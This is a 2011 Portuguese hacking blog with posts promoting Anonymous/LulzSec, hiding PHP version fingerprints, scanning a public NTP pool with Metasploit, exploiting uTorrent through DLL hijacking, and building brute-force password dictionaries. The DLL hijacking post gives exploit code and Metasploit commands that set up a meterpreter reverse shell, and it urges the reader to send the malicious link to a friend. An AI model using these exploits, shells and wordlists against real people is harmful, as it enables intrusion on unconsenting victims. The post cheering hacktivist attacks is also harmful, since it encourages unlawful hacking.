domingo, 26 de junho de 2011

Anonymous e LulzSec

Confira: http://pastebin.com/LPNwdDtU


We Are Anonymous
We Are Legion
We Do Not Forgive
We Do Not Forget
Expect Us

@LulzSec_BR
@LulzSec_Brazil
@LulzSec
@AnonymousIRC
@osvaldo_hp
#antisec
@anonymouSabu

Hacking
Sql injection

sábado, 25 de junho de 2011

Stop PHP Easter eggs fingerprinting

O primeiro passo de um atacante é coletar o máximo de informação necessária sobre o alvo. Em um servidor WEB com PHP instalado pode-se obter mais informações sobre o PHP colocando a string abaixo:

?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000

Ficando assim:

www.sitealvo.com.br/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000

Para desabilitar esta função no Linux edite o arquivo php.ini e altere:

expose_php = On
para:

expose_php = Off

No windows você tem que editar o arquivo system.ini.

Não existe sistema sem bug, tudo é uma questão de tempo, por isso tente dificultar ao máximo a vida de um hacker ou skiddie.

by Osvaldo H Peixoto

sexta-feira, 24 de junho de 2011

Anonymous declara guerra contra o sistema

O grupo conhecido como Anonymous declarou guerra contra o sistema no dia 15 de junho de 2011, o grupo disponibilizou um vídeo no youtube falando sobre suas idéias e planos:

http://www.youtube.com/watch?v=8c1ua7szp1U

Junte-se ao movimento:
http://www.whatis-theplan.org/login

quarta-feira, 8 de junho de 2011

Listando os Clientes do Servidor de Horas (NTPD)

O que não pode faltar em um ambiente seguro é o LOG, são eles que salvam a vida de qualquer administrador de Sistemas. Para manter um ambiente como este você precisa de um:

- servidor de log centralizado
- servidor de horas (NTPD)

Neste post não vou falar de servidor de log e nem de NTPD, apenas irei demonstrar como usar o módulo ntp_monlist.rb (1) do metasploit. Com este módulo você pode ver os IPs que estão utilizando o servidor de horas para sincronizar o horário. Em uma rede com muitos servidores este método nos ajudaria a detectar todas as máquinas que não estão sincronizando com o nosso servidor.

msf > use auxiliary/scanner/ntp/ntp_monlist
msf auxiliary(1mntp_monlist) > set RHOSTS pool.ntp.br
msf auxiliary(1mntp_monlist) > run

Espere pelo retorno dos IPs dos clientes que recentemente fizeram sincronismo com o servidor de horas.


(1) http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/auxiliary/scanner/ntp/ntp_monlist.rb

sexta-feira, 3 de junho de 2011

DLL Hijacking - agora é a minha vez

Tenho visto muitos posts sobre DLL Hijacking, que consiste em fazer com que o Windows rode uma DLL com código malicioso.

Neste post não vou detalhar esta vulnerabilidade e muito menos postar algo novo sobre o assunto, a idéia é postar um resumo do que eu acho importante daquilo que tenho visto em outros sites, por exemplo, um post no blog do HD Moore do projeto Metasploit falando sobre a ferramenta DLLHijackAuditKit v2.

Como explorar esta vulnerabilidade


Em 2010 foi descoberto uma vulnerabilidade no uTorrent chamada de "uTorrent <= 2.0.3 DLL Hijacking Exploit (plugin_dll.dll)"(1).

Uma breve explicação de como testar esse exploit:

Compile o código abaixo e nomeie para plugin_dll.dll:

#include
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void hook_startup() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

Crie um arquivo com qualquer nome, mas tem que ter a extensão .torrent, para o nosso exemplo vamos chamar esse arquivo de:

dllhijacking.torrent


Não se esqueça de instalar o uTorrent <= 2.0.3, dê dois cliques no arquivo (dllhijacking.torrent) e veja que a calculadora do Windows será executada. Poderíamos fazer com que fosse executado o uTorrent e uma backdoor no lugar da calculadora.

Este exploit já esta disponível no framework Metasploit, segue abaixo como executar esse modulo no framework:


#msfconsole
msf > use windows/browser/webdav_dll_hijacker
msf exploit(webdav_dll_hijacker) > set basename nome_do_arquivo
msf exploit(webdav_dll_hijacker) > set extensions “torrent”
msf exploit(webdav_dll_hijacker) > set sharename arquivos
msf exploit(webdav_dll_hijacker) > set payload windows/meterpreter/reverse_tcp
msf exploit(webdav_dll_hijacker) > set lport 443
msf exploit(webdav_dll_hijacker) > set lhost 192.168.200.1
msf exploit(webdav_dll_hijacker) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.200.1:443
[*] Exploit links are now available at \\192.168.200.1\arquivos\
[*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://192.168.200.1:80/
[*] Server started.


Mande o link "http://192.168.200.1/arquivos" para um amigo acessar e espere uma sessão ser aberta no metasploit, mas para funcionar ele tem que ter o uTorrent vulnerável.


obs: se você não sabe usar o Metasploit veja esse tutorial que postei aqui no blog:

http://osvaldohp.blogspot.com/2010/12/metasploit-parte-1.html

Como descobrir bibliotecas vulneráveis?

A resposta esta no blog do HD Moore do projeto Metasploit (2).  Moore fala sobre a nova versão da ferramenta  DLLHijackAuditKit v2, que serve para encontrar bibliotecas vulneráveis. No post de Moore ele descreve como você deve usar a ferramenta, segue abaixo os passos descrito por Moore:

1. Download DLLHijackAuditKit v2 e o Process Monitor, extraia para dentro de um diretório.

2. Execute 01_StartAudit.bat como Administrador.

3. Depois que o script acabar de executar (15-30 minutos), vá até o programa "Process Monitor", acesse File->Save. Salve o resultado no formato CSV com o nome "Logfile.CSV".

4. Agora execute 02_Analyze.bat como Administrador, ele ira "scanear" o arquivo CSV, ira realizar alguns testes e criar a prova de conceito para cada teste positivo.

Veja esse vídeo que mostra como executar o DLLHijackAuditKit e criar um payload com o metasploit para explorar esta vulnerabilidade se conectando em um netcat:

http://vimeo.com/14442659


A equipe do exploit-db fez uma lista com vários programas que estão vulneráveis a DLL Hijacking:

http://www.exploit-db.com/dll-hijacking-vulnerable-applications/

links:
(1) http://www.exploit-db.com/exploits/14726/
(2) http://blog.metasploit.com/2010/08/better-faster-stronger.html

quarta-feira, 1 de junho de 2011

Crie seu próprio dicionário para força bruta

Uma das técnicas de ataque bastante utilizada em pentest é o de força bruta, para isso você precisa de um bom dicionário. Neste post vamos aprender a criar um dicionário a partir de um documento txt.

Vamos usar a string abaixo para pegar um texto dentro de um arquivo e colocar cada palavra por linha:

cat saida.txt | awk '{FS= " "}{for(i=1;i<NF+1;i++) if ($i ~ /[a-zA-Z0-9]+/) print $i}' > dicionario.txt

Neste exemplo o arquivo "documento.txt" tem o seguinte conteúdo:

"teste. tes) dsdas" :wq dfsds; dss@ dffd% fdsgfds!"


A string acima ira pegar cada palavra e colocar uma por linha e salvará o resultado no arquivo dicionario.txt, ficando assim:


teste.
tes)
dsdas"
:wq
dfsds;
dss@
dffd%
fdsgfds!

Agora precisamos tirar os caracteres especiais, para isso usaremos o comando sed do linux:
sed -i -r "s/[\"\!\@\#\$\%\&\(\)\:\.\;]//g" dicionario.txt

Agora podemos usar o script "lensort.pl" que criará vários arquivos com base no tamanho da palavra, segue abaixo o script:



#!/usr/bin/perl
# Sort passwords into new files based on length
# Input: password file
# Output 1.txt, 2.txt, 3.txt, 4.txt, etc
use warnings;
use strict;
my @lines;
# Read from stdn in if filename is -, otherwise open file
if (! $ARGV[0]) {
    print "Usage: $0 \n";
    exit 2;
}
if ("$ARGV[0]" eq "-") {
    @lines = ;
} elsif ( -e $ARGV[0] ) {
    open my $ifh, '<', $ARGV[0] or die "Unable to open file $ARGV[0]: $!\n";
    @lines = <$ifh>;
    close $ifh;
} else {
    print "Unable to open file: $ARGV[0]\n";
    exit 2;
}
chomp @lines;
my %fhs; # Hash of filehandles, 1.txt, 2.txt, etc
print "Sorting ".scalar(@lines)." passwords by length\n";
foreach my $pw (@lines) {
    if (!defined($fhs{length($pw)})) {
        open $fhs{length($pw)}, '>', "".length($pw).".txt";
    }
    print { $fhs{length($pw)} } "$pw\n";
}
foreach my $key (keys(%fhs)) {
  print "Finished $key.txt\n";
  close $fhs{$key};
}
Veja abaixo como executar o script e o resultado:
./lensort.pl dicionario.txt Sorting 9 passwords by length Finished 4.txt Finished 0.txt Finished 3.txt Finished 7.txt Finished 2.txt Finished 5.txt
Este script criou 6 arquivos conforme o número de caracteres, ideal para você usar em sistemas em que você sabe que a Política de Senha esta configurada para que a senha seja por exemplo no mínimo 7 caracteres - neste caso você ira usar o arquivo 7.txt - com isso agilizando o tempo de ataque.
Segue o link de onde baixei o script: